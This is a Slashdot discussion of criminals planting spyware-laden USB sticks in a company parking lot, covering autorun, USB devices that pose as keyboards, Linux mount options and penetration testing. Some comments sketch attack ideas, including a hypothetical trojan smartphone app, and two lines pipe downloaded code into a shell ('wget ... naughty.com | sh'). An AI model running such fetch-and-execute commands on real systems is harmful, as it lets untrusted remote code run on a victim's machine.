Criminals Distribute Infected USB Sticks In Parking Lot 298
New submitter sabri writes "The Dutch news-site Elsevier is reporting that cybercriminals attempted to steal data from a multinational chemicals company by 'losing' spyware-infected USB sticks on the company's parking lot. Their attempt failed as one of the employees who found the stick dropped it off at the company's IT department, who then found the spyware and issued a warning. So next time, don't expect to find someone's dirty pictures on a USB stick you just found..."
Thats what virtual machines are for. (Score:5, Funny)
Re:Thats what virtual machines are for. (Score:5, Insightful)
No, that's what operating systems that don't automatically run any executable that happens to appear are for.
Good god - how idiotic does an OS have to be, to run executables from any media you happen to insert?
Re:Thats what virtual machines are for. (Score:5, Interesting)
Re: (Score:2)
Even better is if it is a Firewire device -- from what I've read, Firewire gives all kinds of direct memory access to stuff plugged into it (it is a system level bus). Even more so for PC-card (pcmcia) devices.
Re:Thats what virtual machines are for. (Score:5, Interesting)
We had a couple turn out in our parking lot that when plugged in showed up as a hub that was connected to a usb drive, cd drive and a keyboard. The last one was tricky. After being plugged in, it would install the devices one by one and try to run them, if that didn't work, it registered as a keyboard and tried to put the input of windows key+r then iexplore websiteURL. That last one took me by surpise, as I'd never seen it before.
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
He's not saying the software on the stick is a keylogger. He's saying the stick itself is a keylogger. Just because it looks like a flash drive doesn't mean it is one.
Re: (Score:3)
mount
Re:Thats what virtual machines are for. (Score:5, Insightful)
Good god - how idiotic does an OS have to be, to run executables from any media you happen to insert?
Not idiotic, just outdated. When Windows XP was released, way back in 2001, the assumption was that removable media was going to be a pressed CD or DVD and that these sources could be trusted. This assumption started to break down with the advent of cheap CD/DVD writers, and became completely absurd when inexpensive flash drives proliferated.
As a result, Microsoft removed Autorun from USB drives [computerworld.com] as part of a Windows XP update in 2011. (Probably a bit late, but still, they did fix it.) On Windows 7, Autorun for USB drives was never included. The user would have to run the malware manually (and if it wants admin permissions, you'd also have to click through the UAC warning).
Re: (Score:2)
Good god - how idiotic does an OS have to be, to run executables from any media you happen to insert?
Not idiotic, just outdated. When Windows XP was released, way back in 2001, the assumption was that removable media was going to be a pressed CD or DVD and that these sources could be trusted. This assumption started to break down with the advent of cheap CD/DVD writers, and became completely absurd when inexpensive flash drives proliferated.
Autorun comes from Windows 95. Worth noting that cd writers were pretty cheap in 1998.
Re: (Score:2)
The key is: Do not let an executable change data in any directory other than where it is installed. This way it can't change the system boot sector! It can't even change your sims baby cats edition.
You could turn Windows into a solid security machine if you just did that. People would start downloading junk they find off the internet and liking it.
Re:Thats what virtual machines are for. (Score:5, Insightful)
The human body either digests or kills anything that's not marked as belonging to the body. It does allow stuff on it's surface and in the lining of the stomach I guess, but other than that, it seems to shoot first and asks questions later. Of course it can be tricked or overwhelmed, but it's not nearly as laid back as you seem to think. (Which can lead to horrible conditions where some body cells aren't recognized for some reason, and mercilessly attacked.)
The human body = mean ass motherfucker. Don't even fucking look at the guy, or he will travel back in time and drop your parents before they can meet.
Computers and operating systems, definately consumer ones = uhm... Ralph Wiggum? Yeah, that seems about right :P
Re: (Score:2)
Re: (Score:2)
Yeah, that's what I was thinking of, but the term escaped me; thanks. They may be rare, but when they occur, oh boy :(
Re: (Score:3)
It's not lupus.
Re:Thats what virtual machines are for. (Score:4, Interesting)
The quadrillion bacteria happily living in your guts would disagree, and depending on the type of their population they'll even change your behaviour.
http://www.sciencedaily.com/releases/2011/05/110517110315.htm [sciencedaily.com]
Re: (Score:2)
Why bother with virtuals?
I have a "shitbox" I would use for this. The intent is that it is disposable - both hardware and data. In my case, it's an old, beige Athlon 900 desktop with a fading Windows ME sticker still on it. I've slapped all my old hard drives and OpenBSD on it.
I use it mainly for trying out server shit. Learned how to set up Samba and Apache on it. Tried out several other things, as well.
The only data on it are some SNES ROMs, tertiary backups of non-secret data (source code for various per
Re: (Score:2)
Because virtuals have snapshots, whereas physical boxes do not.
Or just browse the thing while running Linux (Score:5, Funny)
Or turn off auto-run in Windows. I once found a USB drive on the ground. Turns out it was some grad student's drive. I tried to return it but got no response from the email I found on his resume.
Re:Or just browse the thing while running Linux (Score:5, Informative)
Actually auto run is no longer turned on by default in windows. XP had an update that disabled it.
He Didn't Have his Home Address on His Resume? (Score:5, Funny)
just mount it in Linux (Score:4, Interesting)
and laugh at the windows auto-loader files they tried to get you with.
Seriously, I found a "trick" USB stick in my work mailbox once, which turned out to be a test from our IT department that, if you loaded it (in Windows), would direct you to an obligatory computer security training program. After I called them about it, they let me keep it.
Re:just mount it in Linux (Score:5, Informative)
USB sticks can present themselves to the computer as more than just removable hard disks. I've seen some that will act as keyboards and when plugged into Windows, will automatically try to type things in.
If the USB device can present itself as the right item, it can potentially do more damage than "just" a drive or filesystem with malware on it.
Re:just mount it in Linux (Score:5, Interesting)
If the USB device can present itself as the right item, it can potentially do more damage than "just" a drive or filesystem with malware on it.
I forget the exact mode of attack, but some will nudge the mouse a pixel or two every minute or so to prevent the screensaver from kicking on, and then after some period of user inactivity will begin doing the nefarious bits. I suppose it's easy to kick off a cmd shell from that point and script the attack.
I'd imagine the non-mouse/keyboard part of the "drive" is baited with good porn or addictive games to encourage its continued presence. Anyway, you can scan it all you want, the drive is clean.
Cool, free thumb drive! (Score:5, Interesting)
dd if=/dev/zero of=/dev/[usbdrive]
voila, free thumb drive, malware free.
Re: (Score:2)
that will likely bugger the drive up completely. some flash drives get written past the end or some crap like that.
long story short, i tried this on a thumb drive that reported 8 gigs and was actually 4 gigs... after running dd it was completely useless and unrecoverable, at least by someone of my level of proficiency. YMMV
Re:Cool, free thumb drive! (Score:4, Informative)
Re: (Score:3)
Re: (Score:2)
Heh heh... For Linux I do this routinely to get rid of the manufacturer's crapware, but every time I mount it on my GF's WinXP box it actually has to pause so it can download and reinstall it. WTF?
Re: (Score:3)
the really annoying ones are the drives that present TWO storage devices. One usually contains drivers, or a small partition with the security software to properly mount the second protected device.
Those are usually NOT separate partitions, they're separate DEVICES and thus a dump from DD doesn't get them both. The other one is usually permanently write-protected also, tho there can be ways to get around that sometimes if you know how.
Re:Cool, free thumb drive! (Score:5, Insightful)
dd if=/dev/zero of=/dev/[usbdrive]
voila, free thumb drive, malware free.
Not if the drive has firmware that detects if it's plugged into a Windows host. For non-windows, it acts as a normal flash drive, but if you plug it into Windows, then it exposes the virus. So you take it home, load it up with MP3's from your linux computer and everything is fine, but then when you give it to your wife and she see a filenamed "naked_secretary.exe", she runs it and gets infected.
Re:Cool, free thumb drive! (Score:5, Informative)
Interesting. But can Linux detect the presence of the firmware, which presumably has to send some sort of message down the USB bus? My closest experience to this is with a combo USB 3G modem and flash drive.
To handle such devices under Linux, there's a program called USB modeswitch. From the package description:
Mode switching tool for controlling "flip flop" USB devices
Several new USB devices have their proprietary Windows drivers onboard, especially WAN dongles. When plugged in for the first time, they act like a flash storage and start installing the driver from there. If the driver is already installed, the storage device vanishes and a new device, such as an USB modem, shows up. This is called the "ZeroCD" feature.
On Debian, this is not needed, since the driver is included as a Linux kernel module, such as "usbserial". However, the device still shows up as "usb-storage" by default. usb-modeswitch solves that issue by sending the command which actually performs the switching of the device from "usb-storage" to "usbserial".
Re:Cool, free thumb drive! (Score:4, Insightful)
It might not be a drive (Score:5, Insightful)
wget -q -O - http://naughty.com/ [naughty.com] | sh
All sorts of things could happen when you plug in a USB stick. Perhaps not too much of a worry in practice for Joe Schmo as doing it effectively would probably require a level of sophistication that would make it not worth while for a vague target but Linux does not magically make USB sticks safe.
This is discussed in... (Score:5, Interesting)
This technique is discussed in "Metasploit - The penetration testers guide" ( http://shop.oreilly.com/product/9781593272883.do [oreilly.com] )
Excellent book by the way. After reading it, you'll never look at computer security the same way again, and may very well just switch to an Abacus with a box of crayons on top.
Self-reporting (Score:2)
How many times did this work and we DONT hear about it, in cases where people did NOT take it to their IT department?
Re: (Score:2)
Actually if the criminals are smart (Score:2)
Actually, that's exactly what industrial spies should put on there if they were smart.
Re: (Score:2)
Old trick. (Score:5, Insightful)
This is a time-honored way of targeting a particular company. It sounds expensive, but if your motivation is commercial or governmental *coughcoughstux* it's extremely cheap compared to the alternatives (bribery, breaking-and-entering, rubber-hose cryptography). It's also a great way of finding out whether your own organization is aware of malware trouble; this technique is commonly used as part of security audits performed by companies hired to find out how good your company really is.
A company I worked for a few years ago hired a security auditing firm to check up on ourselves (only a few people were told, and we were told to keep quiet to ensure that our day-to-day practices were tested, not our "crap, someone's checking!" performance). They were unable to penetrate the network from the outside (including wirelessly) or socially engineer their way past reception or weasel out a password, but they got in via the USB-stick-in-the-parking-lot method. They told us afterwards that this is an extremely effective technique, as primate curiosity is almost unstoppable.
Re: (Score:3)
Older than that. Well before USB thumb drives I was contracting at [Large Government Contractor You've Heard Of]. One day someone was outside on the street giving away CDs with free software on them. They were nice and pro, color cardboard sleeves shrink-wrapped. On the CDs were a bunch of shareware and just as many viruses.
I didn't really mind. for three full days I got paid to sit around and wait for the admins to fumigate the network.
The exact same thing happened less than a year later.
lol stuxnet lite (Score:2)
Idiots. Both of them.
Personal Story (Score:5, Interesting)
So there may be a virus, or maybe just a lonely coworker.
Re:Personal Story (Score:5, Funny)
Many of them. All alone.
You looked at them all to 'make sure,' huh?
Contest (Score:5, Interesting)
Re: (Score:2)
Wouldn't it be more productive to give them away? [...] I think someone would be much more likely to use a USB given to them at a "legitimate" event, than one found on the ground.
I think you're right... but the downside would be that it would be much easier for the victims to track the infection back to its source that way.
Mandate (policy) use of secured USB keys (Score:2)
Any security-minded organization would indoctrinate their employees, and set policy (either via OS security and/or SOP) to use only secured USB keys, which are provided. This should be a no-brainer, and shouldn't cost a significant amount.
This kind of policy limit the scope of these kind of attacks, as well as helps to prevent inadvertent info-leaks like when workers lose their wallet/backpack. By preventing stupidity and bad luck you greatly improve the company security.
Simple yet effective (Score:2)
Social Engineering at its finest and most simplest. Much more effective getting your payload unto a system using this method then say then using a dancing baby gif.
Ah, Autorun... (Score:3)
The autorun feature of Windows (mainly XP and to a much lesser extend Vista/7) is a textbook example of where trading convenience for security can turn out to be a VERY BAD IDEA.
Autorun functionality pisses me off anyway. I always turn that shit off mainly because yes, if I put in a DVD or a USB flash it's likely I'm going to be wanting to use it soon, but since Autorun is going to invariable pop up some Explorer window or DVD application all of a sudden once the media has been analysed, that very action of a new window popping up without my direct instantiation of it is damn annoying.
Saving the couple of clicks to perform the same effect of whatever Autorun does is really, really not worth the mess we've gotten ourselves into (and still do).
Re: (Score:2)
Fuck, that should have read "trading security for convenience". As in, you give up security in exchange for obtaining convenience.
Oh now my whole comment is ruined. I can't bear to read the responses from strangers I'll never meet in the flesh, it will be too much to bear!
RAM stick incident (Score:2)
olds (Score:3)
This is so old and has happened so many times before that some organisations have had time to develop, test and deploy so-called "data gateways" - machines that you can put your USB sticks, DVDs and other media into, that will scan them for infection and safely transfer the files you select to your network share.
Not new (Score:3)
1) Penetration testers have been using this attack for some time, surprisingly often it works, it only takes one clueless manager to plug it in.
2) With a little creative reengineering one does not need to rely on the system to automount and autorun the stick, instead one sticks a USB hub in there and a HID emulator and pumps out keystrokes, pretty much all operating systems will automatically initialize it as a keyboard device. Also one can hide that function until go time. let them act as ordinary memory sticks 'till then.
Simple steps (Score:3)
1. Don't, under any circumstances, mount it
2. Format it
3. Enjoy your new USB stick
Re:Expensive (Score:4, Informative)
This will usually bypass all the internet-based filtering and security systems.
Re: (Score:3, Funny)
Of course on a properly managed system, also on Windows, such a USB stick will do nothing.
Because all the USB ports are filled with glue.
Re: (Score:3)
Noob
Re:Expensive (Score:5, Insightful)
These were targeted specifically though at the one company, greatly increasing the odds of getting into something that they were interested in.
Speculation vs Investigation (Score:4, Interesting)
The 'cyber criminals planted the usb sticks in an attempt to steal data'... stuff doesn't come from investigation, it comes from speculation. It could simply have been an infected USB stick an employee threw away or dropped.
DSM is really a boring chemicals business, employing tens of thousands of people. The chances of spyware getting past anti virus software and onto the right persons computer is pretty damn slim.
So it looks more like projection to me. There's a lot of talk about cybercriminals as part of the 'cyberwar' budget requests. This was a lost USB key infected. IT dept projects the cyberwar onto their company and assumes it was a cyberattack and not some piece of crapware. Cyberwar lobby grabs the story and pumps it up for their own agenda.
Re:Speculation vs Investigation (Score:4, Informative)
Re:Expensive (Score:5, Informative)
Re:Expensive (Score:5, Interesting)
Personally, I'd target smartphones.
If I were a malicious programmer out to get corporate dirt, I would release a "perfectly harmless" appstore game or business applet. This applet does not in any way harm the phone, or call home. What I does instead is drop some binaries on the root of the internal sdcard or flash memory storage device to mimic this attack.
This has several advantages:
1) you can update your penetration package as part of an app update, which the user won't catch.
2) you can target a device frequently demanded to be added to device exception lists, such as corporate CEOs insisting their iBone be able to sync their corporate email.
This gives you a mostly unprotected path to the mailserver if the package delivery mechanism is done right.
In the case of android phones at least, you can control how the device talks to the computer, and what HID classes it wants. This could let the phone operate as a hardware keylogger, etc.
Seriously, smartphones are a torpedo.
Re: (Score:2)
So are you going to send him an email to try out your app? He'll ignore it. What are you going to do?
Re: (Score:2)
mabey just the thrill of it, mabey idealogical goals, mabey revenge, mabey power through blackmail, or some form of leverage.
Re: (Score:3)
Its simple.
You do both.
You don't drop the payload indescriminantly. You make use of the fact that nearly every android applet has over-extended priviledges to begin with, and request access to contact list and sdcard the sae as just about every other free app. You go ahead and make a nice and well polished app, then only drop the payload on specific phones, by checking for some criteria. You want this to be just a handful of very high profile people, not joe schlubb.
While I admit you probably won't have "a
Re: (Score:2)
Think back to the Bluetooth efforts with a properly tuned antenna. A few seconds to test for a new, old and very open phone.
Re: (Score:2)
I thought disabling USB ports (and related such as firewire), cameras, microphones was primarily to prevent data from leaking OUT of the company.
Re: (Score:3)
We disable for inbound access. All smartphones have Internet access, no? Great way to reverse-tether and get into our network.
Re:Expensive (Score:5, Interesting)
In certain military environments I worked in the USB, Firewire, and microphone ports were immediately filled with epoxy and (where possible) disconnected from the motherboard.
Re:Expensive (Score:4, Insightful)
I know that taking away the mouse and keyboard dramatically reduces the number of user mistakes, but I do wonder if this isn't taking it a little too far.
Re: (Score:2)
its actually not a bad idea from an attacker's perspective. Very supprised this company has good employees that can spot things like this.
Most cases of malware infection come from stupid decisions made by non-tech people. Good sense to avoid crap like this isn't hard or obtrusive, it just requires that people merely pay attention and think on their feet, and some basic awareness.
that would stop 75% of all malware, found in parking
Re:Expensive (Score:4, Informative)
Yes, but with Linux you could mount the filesystem noexec and the malware writer would have to figure out how to get it to execute in order to undo the restriction. Which is a substantially harder thing than figuring out how to get it to autorun. Any idiot that's running strange programs from found USB drives deserves whatever malware he gets.
Re:Expensive (Score:4, Informative)
Linux virus (Score:5, Informative)
If you think Linux has a magical immunity you might want to read how to write a Linux virus in 5 easy steps [geekzone.co.nz] which shows with just a little social engineering its really not hard to target Linux just as the malware writers target Windows and OSX now.
From the article you mention:
A step that could be taken by the Gnome and KDE developers: Require launchers to have execute permissions. A saved attachment won't have those. Therefore, even though a syntactically correct and properly named launcher was dropped on the desktop a user can't just click on it and start it if the execute bit is not set.
Done. Modern versions of KDE need launcher to have execute permission. That hole is patched.
And nobody pretends that Linux has some magically imunity to viruses. As a Unix-like OS it just follows a few key principles :
- don't blindly execute everything. require executable to be explicitely marked as such (thus any shit downloaded from the web or from e-mail won't automatically be launchable).
- don't run constantly as root. thus the amount of harm that a program can do is limited to the access rights of a user. (While this still makes it possible to send spam, mine the data of the user, and modify the user profile, at least it prevents further deeper compromising of the running system).
That doesn't magically solve all malware problems in the universe. But at least it makes the life of malware writer a little bit more complicated. And the 5-step virus relies on a work-around of the first rule. Which has been since then corrected.
Back then, this no-brainer principles were NOT followed by Windows XP, making it even easier to write worms spreading over e-mail. Thankfully, since then Vista has arrived and has brought UAC dialogs in these situations (now how much dialogs can help security problems when the users are used to "okay" click on everything, that remains to be seen).
Or did you think android runs on Windows?
Android is a completely different beast and instead of unix-like userland it uses it's very own userland (a Java-like system).
Though it too doesn't allow execution of arbitrary e-mail attachment too. It's not impossible to write android malware, even malware that finds a way to look legitimate to android's capability system.
But at least the scenario "Here are some pics of hot lesbian teens! Click on the attachment to view them!" doesn't work on modern OSes. Except windows (and that's until WinXP, starting from Vista, you get an UAC dialog telling you that you run an executable from an untrusted source - now how many idiots will click on "okay" anyway is a different story).
Re: (Score:2, Informative)
In case of a rogue USB stick, the virus wouldn't be downloaded. It would already be on a fs with execute bit set.
I find it odd: the amount of mental gymnastics you go through to prove linux to be better.
Re: (Score:3)
mount -o noexec
I don't know if you can set noexec in fat or ntfs, but then would the executable run in such a case?
Also, how would you execute the file?
Re:Linux virus (Score:4, Informative)
>mount -o noexec /dev/usb /media/usb_stick
How many people are going to do that?
Most any distribution will automount anything you plug in. You never get the chance to run your mount command.
You're talking about what you would do. Everybody else is talking about what the average person would do.
By the way, what are you running--a server distro?
Even if we limit ourselves to a Linux shop (say one of the ones which have been covered by Slashdot, Munich city government or whatever), the average user does not have USB autodetection turned off. How else do their USB keyboards work?
Re:Linux virus (Score:5, Informative)
How many people are going to do that?
Everybody *
Desktop distributions use pmount for USB hotplugging. From the man page:
OPTIONS
...
-e, --exec
Mount the device with the exec option. Default is noexec.
http://www.linuxcertif.com/man/1/pmount/ [linuxcertif.com]
By the way, what are you running--a server distro?
Most server distros don't automount (no desktop). You can get them to automount USB drives to a specified location (ie, for a media server) but need to install and enable the automount package and configure it, much like colinrichardday's suggestion.
* Rounded up for clarity.
Re:Linux virus (Score:4, Informative)
Re:Linux virus (Score:5, Funny)
C:\Users\drawfour>wget houghi.org/trojan && sh trojan
'wget' is not recognized as an internal or external command,
operable program or batch file.
Re: (Score:3, Insightful)
Re:Expensive (Score:5, Interesting)
dud example
There are no examples, and the "5 easy steps" from the linked page haven't worked for years.
One of the reasons Linux is more secure is that the community responds far more quickly to potential threats.
Hairyfeet always gets to +5 with votes from the Apple/Windows crowd here, but he's never been able to show a single current instance of actual Linux malware in the wild. Much like the 235 patents, it's always threats from the future or the past.
Re: (Score:2)
what if it had been raining?
Re:why would you run something from it? (Score:4, Informative)
what if it had been raining?
The flash drives would have been wet, yet fully functional after they dried?
I've washed more than one flash drive and they still worked - I'm using one now that was washed over a year ago. I ran one through the driver once, and after I broke off the melted and mishapen plastic, I plugged it in and it worked.
Re:why would you run something from it? (Score:5, Funny)
I ran one through the driver once
I say old chap, that's a bit rough, what? I hope you paid his medical expenses and gave him a shilling bonus after that experiment. Toodle pip...
Re:why would you run something from it? (Score:4, Interesting)
There are a few factors
1: the dominant operating system has blurred the line between running executables and opening data files. Then they went even furher and introduced autorun to make users live's easier. They have tried to put theese genies back in the bottle but it's difficult to do without introducing a load of pain for users.
2: Even if the OS doesn't have the above problem a USB stick could be put together that enumerated as a keyboard as well as a mass storage device, it could then do pretty much anything the user can do (though it has to do it blind).
2: the natural assumption when finding a USB stick in the company parking lot is that a co-worker dropped it. Therefore the natural thing to do is to try and determine who owns it so it can be returned to it's rightful owner. Deternining who owns it generally requires looking at the contents
Re: (Score:2)
This, of course, is how Obama got elected.
Alright, I'll bite you Anonymous Coward. Would you rather have had McCain / Palin?
Re:why would you run something from it? (Score:5, Interesting)
The contents of your current working directory are of no interest to me.
Re: (Score:2)
Quid quid latine dictum sit, altum viditur
Re: (Score:2)
83-percent-of-doctors-have-considered-quitting-over-obamacare
Blah blah blah. The doctors said the same thing in Canada fifty years ago when universal health care began to be implemented. Today Canuck docs claim they'll quit if health care is changed in Canada. How many American docs quit when medicare was put in place?
Re: (Score:2)
http://www.doctorsandpatients.org/component/content/article/81 [doctorsandpatients.org]
They sent out 16,227 surveys and received 699 responses for a response rate of 4.3%. Ooh, I'm scared.
Re: (Score:2)
Palin believes in the Constitution
How is this possible when she barely understands how the Supreme Court of the United States works? The Supreme Court defines the constitution of your nation.
Re: (Score:2)
Because it's an example of something going the way it's *should* go instead of the way it usually goes -- with the end user infecting their entire corporate network in a single bone headed "ooh goodie!" moment.
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
Regardless of what users seem to think, people *here* should already know better. This *could* be considered newsworthy somewhere that the target demographic may not know this already. Slashdot's target demographic (somewhat tech-literate people) should know better regardless.
Re: (Score:2)
Better to pick it up, have it looked at than someone take it home or for a stranger to find it.
Re: (Score:2)
You mean boot sector virus, right?
You don't boot from the 'found' drive. Or run anything you find on it, automatically or otherwise.